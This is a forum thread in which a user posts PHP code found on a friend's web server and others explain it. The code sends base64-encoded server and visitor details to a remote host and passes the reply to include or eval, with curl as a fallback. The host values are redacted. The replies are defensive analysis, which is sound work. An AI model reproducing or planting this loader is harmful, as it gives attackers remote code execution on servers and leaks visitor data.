Unknown PHP code

unknown, php copde, hack

[starefossen]

Hi,

A friend of mine got this file uploaded to his webserver, probably by a hacker but this is not confirmed. He had lots of trouble deleting it but managed it at the end.

He sendt me the code and I'm having a hard time figuring out what it does, all I can see is that it is encoding lots of server information but I don't know the purpose and I was wondering if any of you could figure out what is does?

DISCLAIMER:
If you do not know what you are doing, do not attemt to use this code on your own sit as it may harm your site!

<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".". base64_encode($d).".". base64_encode($e).".". base64_encode($f).".". base64_encode($g).".". base64_encode($h).".$s.". base64_encode($i) .".". base64_encode($j);
if((include(base64_decode("...").base64_decode("...")."/?".$str)));
else if(include(base64_decode("...").base64_decode("...")."/?".$str));
else if($c=file_get_contents(base64_decode("...").$str))eval($c);
else{$cu=curl_init(base64_decode("...").$str);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$str=curl_exec($cu);
curl_close($cu);
eval($str);
}; ?>

[edited by: jatar_k at 11:05 pm (utc) on July 8, 2008]
[edit reason] obfuscated [/edit]

[cameraman]

What that script does is try to include and execute a script from another server in Samoa, so ultimately it could do just about anything.

[eelixduppy]

Definitely bad stuff. What it does is sends some server information to a remote server (encoded above) through a URL query and then sends back something to be executed on your server. It first tries to include the remote file, which would execute as code. If that fails then it tries to include the contents of another remote file into an eval(), if that doesn't work then it uses CURL to execute code through eval again.

Definitely find out how this was put where it is on his server and remove all scripts. You might want to change over to safe_mode in your php.ini file for the moment until you get things straightened out.

[starefossen]

Thanks a lot, both of you :D You have both so much more experience in this field of expertise than me. Really glad you could answer this, as I didn't understand anything of it.

I will forward this to my friend and suggest that he turns safe mode on as soon as possible. :)

Again, thank you so much!

[eelixduppy]

Did some checking and it seems that it isn't including any malicious code at this time, but it doesn't mean that it hasn't in the past, or that it won't in the future. As of right now, though, there "appears" to be nothing sent back to your server for execution. This may or may not be true for you case, but at least this is what I am observing right now. Anyway, good luck!